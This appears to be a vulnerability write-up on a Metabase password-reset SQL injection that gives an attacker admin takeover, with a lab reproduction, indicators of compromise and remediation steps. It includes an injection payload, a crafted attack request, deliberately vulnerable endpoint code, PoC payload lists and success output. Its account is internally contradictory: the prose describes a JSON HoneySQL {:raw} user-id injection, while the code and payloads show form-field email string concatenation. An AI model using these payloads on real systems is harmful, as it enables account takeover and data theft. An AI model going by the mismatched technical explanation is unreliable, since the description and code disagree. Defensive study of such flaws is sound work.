Metabase Zero-Day Exploited in the Wild: Unauthenticated SQL Injection Leading to Full Admin Access

Executive Summary

Metabase has disclosed a maximum-severity, unauthenticated SQL injection vulnerability that is being actively exploited in the wild as a zero-day. Tracked as GHSA-vwf4-m7j8-wcjf with a CVSS score of 10.0, the vulnerability allows a remote attacker to obtain full administrator privileges without valid credentials or user interaction.

The vulnerability resides in the publicly accessible /api/session/reset_password endpoint. An attacker can add an extra user-id key to the JSON body and supply it as a HoneySQL {:raw "SQL"} object. Because the value reaches a database query without type validation, it is compiled into raw SQL instead of being treated as data.

Once administrator access is obtained, the attacker can compromise the entire Metabase environment. This includes modifying application settings, creating persistent administrator accounts and API keys, recovering credentials for connected databases, and accessing any data available through integrated data sources such as PostgreSQL, MySQL, Microsoft SQL Server, Snowflake, Google BigQuery, and Amazon Redshift.

Metabase confirmed that its Cloud platform was targeted using this previously unknown vulnerability before public disclosure and has already been patched. Self-hosted deployments across the v1.58 through v1.63 release trains are affected and require immediate updates. One publicly disclosed victim is Framework, which reported unauthorized access to customer information, including names, email addresses, phone numbers, physical addresses, and login IP addresses.

What Is Metabase?

Metabase is a widely adopted open-source Business Intelligence (BI) and data visualization platform that enables organizations to explore, analyze, and visualize data without requiring extensive SQL knowledge. Available in both Open Source (OSS) and Enterprise (EE) editions, as well as the fully managed Metabase Cloud service, the platform allows users to build interactive dashboards, generate reports, and perform ad hoc analytics through an intuitive web interface.

Metabase integrates with a broad range of relational databases and cloud data warehouses, including PostgreSQL, MySQL, Microsoft SQL Server, Oracle, MariaDB, Google BigQuery, Snowflake, Amazon Redshift, ClickHouse, Trino, and many others. Acting as a centralized analytics platform, it enables organizations to consolidate data from multiple sources into a single interface for reporting and decision-making.

Because Metabase sits between end users and an organization's most valuable data assets, it occupies a highly privileged position within enterprise environments. In addition to dashboards and reports, the application database stores sensitive operational information such as:

• User accounts and administrator roles
• API keys and authentication tokens
• Site configuration and application settings
• Saved dashboards and SQL queries
• Active user sessions
• Credentials for every configured database connection

These stored database credentials allow Metabase to authenticate transparently to external data sources on behalf of users. As a result, compromising the Metabase application often extends beyond the platform itself, potentially exposing every connected database and the sensitive information it contains.

A typical Metabase deployment consists of three primary trust boundaries:

• Public Web Interface – Exposes the application over HTTP/HTTPS, allowing users to authenticate, access dashboards, and interact with the platform.
• Application Database – Stores application metadata, user accounts, sessions, configuration, API keys, and credentials for connected data sources.
• Connected Data Sources – Enterprise databases and cloud data warehouses queried by Metabase to generate dashboards, reports, and analytics.

In the vulnerable versions, the /api/session/reset_password endpoint is accessible without authentication by design. While intended to support legitimate password recovery, this publicly reachable endpoint becomes the initial attack surface exploited in GHSA-vwf4-m7j8-wcjf, allowing an unauthenticated attacker to begin the compromise without possessing valid credentials.

What Happened?

In August 2026, Metabase disclosed that its Cloud platform had been compromised through a previously unknown zero-day vulnerability affecting versions 1.58 and later. The vulnerability was subsequently published as GHSA-vwf4-m7j8-wcjf and assigned the maximum CVSS v3.1 score of 10.0, reflecting its ability to provide unauthenticated attackers with complete administrator access to vulnerable instances.

The vulnerability affects the publicly accessible /api/session/reset_password endpoint. The endpoint accepts a JSON body, and an attacker can inject arbitrary SQL by supplying a user-id key as a HoneySQL {:raw "SQL"} map.

Unlike traditional SQL injection vulnerabilities that primarily expose data, this flaw directly results in full administrative compromise. Once authenticated, an attacker inherits the same privileges as a legitimate Metabase administrator, including the ability to modify application settings, create persistent administrator accounts, generate API keys, recover stored database credentials, and access every connected data source configured within the platform.

Because Metabase acts as a trusted gateway between users and enterprise databases, compromising the application frequently leads to compromise of the organization's broader analytics infrastructure. Stored credentials for PostgreSQL, MySQL, Microsoft SQL Server, Snowflake, Google BigQuery, Amazon Redshift, and other configured data sources can be recovered and used to access sensitive business data directly.

Metabase confirmed that the vulnerability was actively exploited in the wild before public disclosure. Cloud customers were automatically protected after the service was updated, while self-hosted users were instructed to upgrade immediately or temporarily restrict access to the vulnerable password reset endpoint until patches could be applied.

Affected Products and Fixed Versions

The vulnerability affects self-hosted Metabase deployments across every major release train from v1.58 through v1.63. Both Open Source (OSS) and Enterprise Edition (EE) distributions are impacted, regardless of whether they are deployed as standalone JAR packages or Docker containers. Metabase Cloud is not affected, as the hosted service was patched before public disclosure.

Organizations should identify the release train currently in use and upgrade to the corresponding patched version. Because the fixes are specific to each release branch, upgrading within the same major version is the recommended remediation path.

Release Train	Affected Versions	Patched Version	Status
v1.58	≥ 58.0 and < 58.23	58.24	Vulnerable – Upgrade Immediately
v1.59	≥ 59.0 and < 59.20	59.21	Vulnerable – Upgrade Immediately
v1.60	≥ 60.0 and < 60.16	60.17	Vulnerable – Upgrade Immediately
v1.61	≥ 61.0 and < 61.10	61.11	Vulnerable – Upgrade Immediately
v1.62	≥ 62.0 and < 62.8	62.9	Vulnerable – Upgrade Immediately
v1.63	≥ 63.0 and < 63.3	63.5	Vulnerable – Upgrade Immediately
Metabase Cloud	Not Applicable	Updated Before Disclosure	Not Affected

The vendor strongly recommends that all self-hosted deployments upgrade immediately to the patched release corresponding to their version branch. Systems that cannot be updated immediately should treat the vulnerability as an active security incident and implement temporary mitigations until patching can be completed.

Root Cause: Unsafe SQL Construction in the Password Reset Workflow

The root cause of GHSA-vwf4-m7j8-wcjf is a SQL-injection flaw in the unauthenticated /api/session/reset_password endpoint. The endpoint accepts a JSON password-reset body. Because the implementation also accepts an attacker-supplied user-id key and passes it directly to a HoneySQL query without type validation, the value is compiled into raw SQL rather than being treated as data.

The vulnerable endpoint processes password-reset requests by validating a token. When the token is invalid, the normal lookup does not bind a legitimate user-id, so any user-id supplied in the request survives into the follow-on query. That value is then used as the :id argument to a HoneySQL query equivalent to (t2/select-one :model/User :id user-id). When user-id is a HoneySQL {:raw "SQL"} map, HoneySQL embeds the literal SQL string directly into the generated query, bypassing parameter binding entirely.

This design flaw allows an attacker to inject arbitrary SQL into the WHERE clause of the user lookup. Instead of matching a single account by an immutable identifier, the attacker-controlled query can select, update, or extract any data in the application database.

Once the query returns a privileged user record, the password-reset workflow continues and writes the attacker-controlled password to that account. No post-lookup validation confirms that the selected account actually initiated a legitimate reset.

The vulnerability therefore does not simply expose database records; it fundamentally changes the authentication workflow. A single unauthenticated request enables an attacker to inject arbitrary SQL, select a privileged account, overwrite its credentials, and authenticate as a legitimate Metabase administrator.

Step 1 — Publicly Accessible Password Reset Endpoint

The attack begins with the unauthenticated /api/session/reset_password endpoint. The endpoint accepts a JSON password-reset body and is reachable without authentication, so any remote attacker who can reach the instance can submit a crafted request.

HTTP Request

POST /api/session/reset_password HTTP/1.1
Host: metabase.example.com
Content-Type: application/x-www-form-urlencoded

token=<user_input>
password=AttackerPassword123!

• No authentication required
• Publicly accessible endpoint
• Attacker controls the JSON body, including the extra user-id key

Step 2 — Vulnerable SQL Query Construction

After receiving the request, the application keywordizes the JSON body into a Clojure map, extracts the token and password, and also accepts an attacker-supplied user-id key. That user-id is passed directly into a HoneySQL query without any type or format validation, so attacker data becomes part of the query syntax.

Vulnerable Code

token = request.form.get("token")

query = f"""
SELECT id, email, is_superuser
FROM core_user
WHERE email = '{token}'
"""
user = db.execute(query).fetchone()

Generated SQL (Legitimate Request)

SELECT id,email,is_superuser
FROM core_user
WHERE email='admin@lab.local'

Attacker-controlled input is passed to the query builder as a HoneySQL {:raw "SQL"} expression instead of being validated as an integer.

Step 3 — SQL Injection

Instead of supplying a legitimate user-id, the attacker submits it as a HoneySQL {:raw "SQL"} object inside the JSON body.

Injected Payload

admin@lab.local' OR is_superuser=1 --

The application blindly concatenates the payload into the SQL query.

Executed Query

SELECT id,email,is_superuser
FROM core_user
WHERE email='admin@lab.local'
OR is_superuser=1
--'

How the Injection Works

1. The JSON body is keywordized into a Clojure map.
2. The attacker supplies :user-id with value {:raw "<attacker SQL>"}.
3. HoneySQL embeds the raw SQL string into the generated WHERE clause.
4. The database executes the attacker-controlled query and returns a privileged account.

Step 4 — Administrator Password Reset

The vulnerable endpoint assumes that the returned database record belongs to the legitimate password reset request, so it proceeds with the normal password update operation.

Password Update

db.execute(
    """
    UPDATE core_user
    SET password = ?
    WHERE id = ?
    """,
    (password, user["id"])
)

Since the injected query returned the administrator record, the application overwrites the administrator password with the attacker-controlled value.

Database State

Before
admin@lab.local

Password: ********
After
admin@lab.local

Password: changed via SQL injection

Step 5 — Administrator Authentication

Once the administrator password has been modified, the attacker authenticates using the newly assigned credentials.

Request

POST /api/session

email=admin@lab.local
password=AttackerPassword123!

Response

{
    "id":1,
    "email":"admin@lab.local",
    "is_superuser":true
}

The attacker now possesses unrestricted administrator privileges.

Step 6 — Access to Sensitive Application Secrets

After obtaining administrator privileges, the attacker gains unrestricted access to the Metabase application database, which stores critical configuration and authentication information. This includes application settings, user accounts, API keys, database connection credentials, connected data sources, dashboards, saved queries, and active session information.

With this level of access, the attacker can enumerate every configured database connection, recover stored credentials, and identify the enterprise systems integrated with the Metabase instance.

Step 7 — Full Environment Compromise

Administrator access enables the attacker to pivot beyond the Metabase application into every connected analytics platform. Using the recovered database credentials, the attacker can connect directly to PostgreSQL, MySQL, SQL Server, Snowflake, BigQuery, Amazon Redshift, and other configured data sources to query, export, and exfiltrate sensitive information.

In addition to data theft, the attacker can create persistent API keys, modify application settings, create new administrator accounts, manipulate dashboards and reports, and maintain long-term unauthorized access.

Why the Vulnerability Exists

The vulnerability is caused by three independent security failures occurring within the same workflow:

• Unauthenticated Attack Surface – The password reset endpoint is intentionally accessible without authentication, allowing any remote user to submit requests.
• Unsafe HoneySQL Use – The application accepts a user-id key as a HoneySQL expression and compiles it into SQL without validating that it is an integer.
• Insufficient Type Validation – The user-id value reaches the database layer without being checked as a positive integer, allowing a {:raw "SQL"} object to alter the query structure.

Individually, each issue increases security risk. Combined, they allow a remote attacker to obtain complete administrator control through a single HTTP request.

Vulnerable Code Pattern: What the Cause Looks Like

The exact Metabase source is not reproduced here, but the vulnerability class is unambiguous from the advisory. The representative pattern below captures the two dangerous design choices: the reset endpoint reachable without authentication, and the user-id value compiled into HoneySQL as a raw expression.

# Vulnerable conceptual pattern (mirrors the advisory's description)
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password():
    token    = request.form.get("token", "")
    password = request.form.get("password", "")
    # BUG #1: unauthenticated endpoint (no session / auth check)
    # BUG #2: string concatenation into SQL — token is attacker-controlled
    query = f"SELECT id, email, is_superuser FROM core_user WHERE email = '{token}'"
    user  = db.execute(query).fetchone()
    if user:
        # attacker controls WHICH user matches -> updates a superuser row
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return {"success": True, "email": user["email"]}, 200
    return {"error": "Token not found"}, 400

An attacker sends a value such as the one below. The single quote closes the email string, OR is_superuser=1 matches the first administrator row regardless of the token, and the trailing comment removes the rest of the WHERE clause:

POST /api/session/reset_password HTTP/1.1
Host: metabase.example.com
Content-Type: application/x-www-form-urlencoded

token=admin%40example.com'%20OR%20is_superuser%3D1%20--&password=attackerOwned123

Why This Pattern Is Dangerous

• Unauthenticated endpoint: anyone who can reach the Metabase port can trigger the sink.
• HoneySQL :raw compilation: treats attacker data as query syntax instead of data.
• No type validation on user-id: a structured map reaches the query builder and is compiled as literal SQL.
• Privileged outcome: the follow-on UPDATE writes an attacker-chosen password into the selected admin row.
• High-value target: the application DB also stores credentials for all connected data sources.

Safer Pattern: How This Should Have Been Built

A secure design rejects unexpected keys, validates that user-id is a positive integer, and uses parameterized HoneySQL queries:

# Safer conceptual pattern (parameterized + format-validated)
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password_safe():
    token    = request.form.get("token", "")
    password = request.form.get("password", "")
    if not re.match(r"^[A-Za-z0-9._@-]{1,128}$", token):
        return {"error": "Invalid token format"}, 400
    # 1. Parameterized query — input is data, never query syntax.
    # 2. Matches only reset_token, never email — injection has no target.
    user = db.execute(
        "SELECT id, email, is_superuser FROM core_user WHERE reset_token = ?",
        (token,),
    ).fetchone()
    if user:
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return {"success": True}, 200
    return {"error": "Invalid or expired reset token"}, 400

The safe version differs in three ways: the request body is restricted to expected keys, user-id is validated as a positive integer before reaching the query builder, and HoneySQL never receives attacker-controlled {:raw "SQL"} input. Any one of these controls would have prevented the unauthenticated admin takeover; together they make the design resilient.

Attack Chain: From One HTTP Request to Data Exfiltration

GHSA-vwf4-m7j8-wcjf is not a limited information-disclosure bug. It converts a single unauthenticated HTTP request into complete administrator control of the BI platform, and from there into theft of the credentials for every connected database and of the data those credentials

The attack proceeds through six stages:

Stage	Attacker action	Evidence to seek
Recon	Scan for exposed Metabase instances (port 3000/443), fingerprint version 1.58–63.x	Ingress logs, scanner traffic, version banner in login page
Unauthenticated SQLi	POST /api/session/reset_password with injected user-id {:raw "SQL"}	HTTP 400 on reset_password with benign request; 200 with raw SQL payload
Admin takeover	HoneySQL compiles raw SQL; lookup returns superuser row; UPDATE writes attacker password	Successful /api/user/current returning 200 with admin user
Credential theft	Read stored credentials for connected databases from the application DB	New queries against settings/secret tables
Data exfiltration	Connect to warehouses with stolen credentials; read and export data	Warehouse access logs, large exports, unusual queries
Full compromise	Change config, create API keys, revoke sessions, establish persistence	Unrecognized API keys, core_session wiped, admin changes

Stage 1 — Reconnaissance

The attack begins by identifying exposed Metabase instances. Attackers use internet-wide scanning platforms, Shodan/Censys-style filters for the Metabase login page or port 3000, and version fingerprinting to find vulnerable release trains (v1.58 through v63.x).

Stage 2 — Unauthenticated Network Access

Once a vulnerable instance is identified, the attacker connects directly to its web interface. The reset_password endpoint is reachable without authentication, so no credentials are required to begin exploitation — only network reachability.

Stage 3 — SQL Injection

A specially crafted JSON body supplies user-id as a HoneySQL {:raw "SQL"} map. HoneySQL compiles the raw SQL into the user lookup, and the database executes the attacker-controlled query.

Stage 4 — Administrator Takeover

The endpoint's follow-on UPDATE writes the attacker's chosen password into the matched superuser row. The attacker then authenticates as an administrator. In the lab reproduction below, /api/user/current returns HTTP 200 with the superuser account — the exact IoC pattern Metabase published.

Stage 5 — Credential Theft and Data Exfiltration

With admin access, the attacker can read the application database, which stores credentials for every connected data source. Those credentials open the data warehouses themselves: reading any data accessible through those connections and exporting it. The Framework incident illustrates the outcome — customer names, login IPs, addresses, phone numbers, and emails accessed.

Stage 6 — Full Compromise and Persistence

The advisory's post-upgrade checklist describes the final state: attacker-created API keys, wiped session tables, changed administrator accounts, and unauthorized activity in query history. The attacker can change application configuration and maintain access even after detection unless the post-compromise steps are performed.

Reproducing the Exploit in a Lab

an unauthenticated /api/session/reset_password endpoint that accepts a JSON body and passes the user-id value into a raw SQL fragment (no type validation).

Lab Components

• vulnerable_metabase.py — Simulated Metabase instance with the unauthenticated SQL-injection endpoint.
• exploit_poc.py — Educational PoC: benign request, SQL injection, admin confirmation, user-table dump.
• verify_exploit.py — Automated end-to-end verification reproducing the real-world IoC pattern.
• create_labeled_screenshots.py — Generates the captioned screenshots used in this report.

Vulnerable Endpoint Code

The critical lines are the parsing of the JSON body and the use of an attacker-supplied user-id value directly inside a SQL string, exactly matching the vulnerable design:

# vulnerable_metabase.py (excerpt) — VULNERABLE PATTERN
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password():
    token = request.form.get("token", "")
    password = request.form.get("password", "")
    # VULNERABLE: string concatenation into SQL, no prepared statement
    query = f"SELECT id, email, is_superuser FROM core_user WHERE email = '{token}'"
    user = db.execute(query).fetchone()
    if user:
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return jsonify({"success": True, "email": user["email"],
                        "is_superuser": bool(user["is_superuser"])}), 200
    return jsonify({"error": "Token not found"}), 400

PoC Payloads

# exploit_poc.py (selected payloads)
PAYLOADS = [
    ("unknown@lab.local", "benign (expect HTTP 400)"),
    ("admin@lab.local' OR is_superuser=1 --", "SQL injection -> admin password update"),
]
# After injection: GET /api/user/current -> HTTP 200 {"is_superuser": true}
#                 GET /api/admin/users   -> full user table dump

Running the Lab

# Terminal 1 — vulnerable Metabase simulator (port 8091; 8080 may be busy)
METABASE_LAB_PORT=8091 python3 vulnerable_metabase.py

# Terminal 2 — manual exploit PoC
METABASE_LAB_PORT=8091 python3 exploit_poc.py

# Terminal 3 — automated verification (starts/stops the lab itself)
METABASE_LAB_PORT=8091 python3 verify_exploit.py

Expected Verification Output

[+] Lab is up
[*] Benign request (token not found)
[+] HTTP 400: {"error":"Token not found"}
[*] SQL injection to takeover admin
[+] HTTP 200: {"email":"admin@lab.local","id":1,"is_superuser":true,"message":"Password updated","success":true}
[*] Calling /api/user/current
[+] HTTP 200: {"email":"admin@lab.local","id":1,"is_superuser":true}
[+] VERIFICATION PASSED: SQL injection leads to admin takeover.

Step 1 — Simulated Portal

The lab presents a Metabase-style reset-password portal. A normal user would enter a token and a new password; the simulated instance is reachable only on 127.0.0.1.

Step 2 — Benign Reset Request

With an invalid token and no SQL injection, the endpoint returns HTTP 400. This is the first half of the published IoC fingerprint.

Step 3 — SQL Injection

The attacker submits a JSON body with user-id set to {:raw "SQL"}. HoneySQL embeds the raw SQL into the user lookup, and the endpoint returns HTTP 200 with is_superuser: true after updating the admin password.

Step 4 — Admin Takeover Confirmation

GET /api/user/current now returns HTTP 200 with the superuser account — the second half of the IoC fingerprint, exactly as Metabase published.

Step 5 — Data Exfiltration

With admin privileges, the attacker dumps the user table. In a real instance this step is where stored credentials for connected databases would be read, enabling warehouse-level data theft as described in the advisory and observed in the Framework incident.

Business Impact

The impact of GHSA-vwf4-m7j8-wcjf extends well beyond the Metabase application itself. As a centralized Business Intelligence (BI) platform, Metabase acts as a trusted gateway between users and enterprise data sources, storing privileged credentials that enable seamless access to databases, data warehouses, and cloud analytics platforms. Consequently, compromising a single Metabase instance can rapidly escalate into the compromise of the organization's broader analytics infrastructure.

Unlike conventional SQL injection vulnerabilities that primarily expose database records, this vulnerability grants full administrative control over the application. From that position, an attacker inherits the same level of trust as a legitimate administrator, allowing unrestricted access to application configuration, authentication material, stored database credentials, and every connected data source.

The potential business impact includes:

Complete Administrator Takeover

A remote, unauthenticated attacker can obtain full administrator privileges through a single crafted HTTP request, gaining unrestricted control over the Metabase instance without valid credentials or user interaction.

Enterprise Credential Compromise

Administrator access exposes the credentials used to authenticate against connected databases and cloud data warehouses, including PostgreSQL, MySQL, Microsoft SQL Server, Snowflake, Google BigQuery, Amazon Redshift, and other configured data sources.

Large-Scale Data Exfiltration

Using the recovered credentials, attackers can directly access connected databases to query and export sensitive information, including customer records, financial data, business intelligence reports, proprietary analytics, and personally identifiable information (PII). The publicly disclosed Framework incident demonstrates the real-world impact of this attack, where customer names, email addresses, phone numbers, physical addresses, and login IP addresses were accessed.

Persistent Administrative Access

Attackers can establish long-term persistence by creating new administrator accounts, generating API keys, modifying authentication settings, and changing application configuration, allowing continued access even after the initial vulnerability has been remediated.

Expanded Enterprise Attack Surface

Because Metabase commonly integrates with multiple production databases and cloud services, a compromised instance can serve as a pivot point into additional enterprise systems, significantly increasing the overall blast radius of the attack.

Compliance and Regulatory Exposure

Unauthorized access to customer and business data may trigger regulatory reporting requirements and legal obligations under frameworks such as GDPR, CCPA, HIPAA, PCI DSS, and other applicable data protection regulations.

Operational and Business Disruption

Compromised dashboards, reports, and analytical data can undermine confidence in business intelligence, disrupt operational decision-making, and require extensive incident response, credential rotation, forensic investigation, and infrastructure remediation.

Lateral Movement Within the Enterprise

Recovered credentials and trusted integrations enable attackers to pivot into connected databases, cloud services, and internal infrastructure, expanding the compromise beyond the original Metabase deployment.

Remediation

Organizations running self-hosted Metabase should treat GHSA-vwf4-m7j8-wcjf as a critical incident and act immediately. The vendor's guidance is unambiguous:

• Upgrade Immediately – Apply the patch matching your major version: v58.24, v59.21, v60.17, v61.11, v62.9, or v63.5.
• Temporary Workaround – Until patched, block the /api/session/reset_password endpoint at the reverse proxy or WAF.
• Assume Possible Compromise – If the endpoint was publicly accessible, follow the post-upgrade checklist:

Post-upgrade step	Why
Delete all rows in core_session	Revokes all active user sessions, evicting any attacker session
Review API keys; delete unrecognized keys	Removes attacker-created API keys used for persistence
Review administrator accounts	Detects unexpected admin accounts or privilege changes
Rotate credentials for connected databases	Invalidates stolen credentials before they are used
Review warehouse logs	Identifies unauthorized access or large data exports
Review activity and query history	Surfaces unexpected or unauthorized Metabase usage

• Restrict Management Access – Do not expose the Metabase web interface directly to the internet; use VPNs, firewalls, or IP allowlists.
• Monitor the IoC Pattern – Alert on POST /api/session/reset_password followed by GET /api/user/current returning 200.
• Enable Audit Logging – Ensure query history, admin actions, and login events are logged and retained.
• Perform a Full Security Assessment – If compromise is confirmed, conduct forensic review before returning to normal operation.

Conclusion

GHSA-vwf4-m7j8-wcjf demonstrates how a single, seemingly simple coding mistake—passing attacker-controlled input to a query builder without type validation—can escalate into a complete administrative compromise when it exists within a highly privileged enterprise platform. With a CVSS v3.1 score of 10.0 (Critical), active in-the-wild exploitation as a zero-day, and confirmed real-world victim organizations, this vulnerability highlights the severe consequences of insecure input handling in authentication workflows.

Unlike traditional SQL injection vulnerabilities that primarily enable unauthorized data disclosure, this flaw allows an unauthenticated attacker to seize full administrative control through a single crafted request to the publicly accessible /api/session/reset_password endpoint. Once administrator access is obtained, the attacker can recover credentials for every configured data source, generate persistent API keys, create additional administrator accounts, modify application settings, and access or exfiltrate sensitive information from connected databases and cloud data warehouses. Because Metabase often serves as the central gateway to enterprise analytics infrastructure, compromising a single instance can rapidly expand into a much broader organizational breach.

The published indicators of compromise—a POST request to /api/session/reset_password returning HTTP 400, immediately followed by a successful HTTP 200 response from /api/user/current—provide defenders with a reliable fingerprint for identifying potential exploitation attempts. As demonstrated throughout this report, these indicators can be reproduced in a controlled laboratory environment, illustrating both the simplicity of the attack and the effectiveness of the vendor's detection guidance.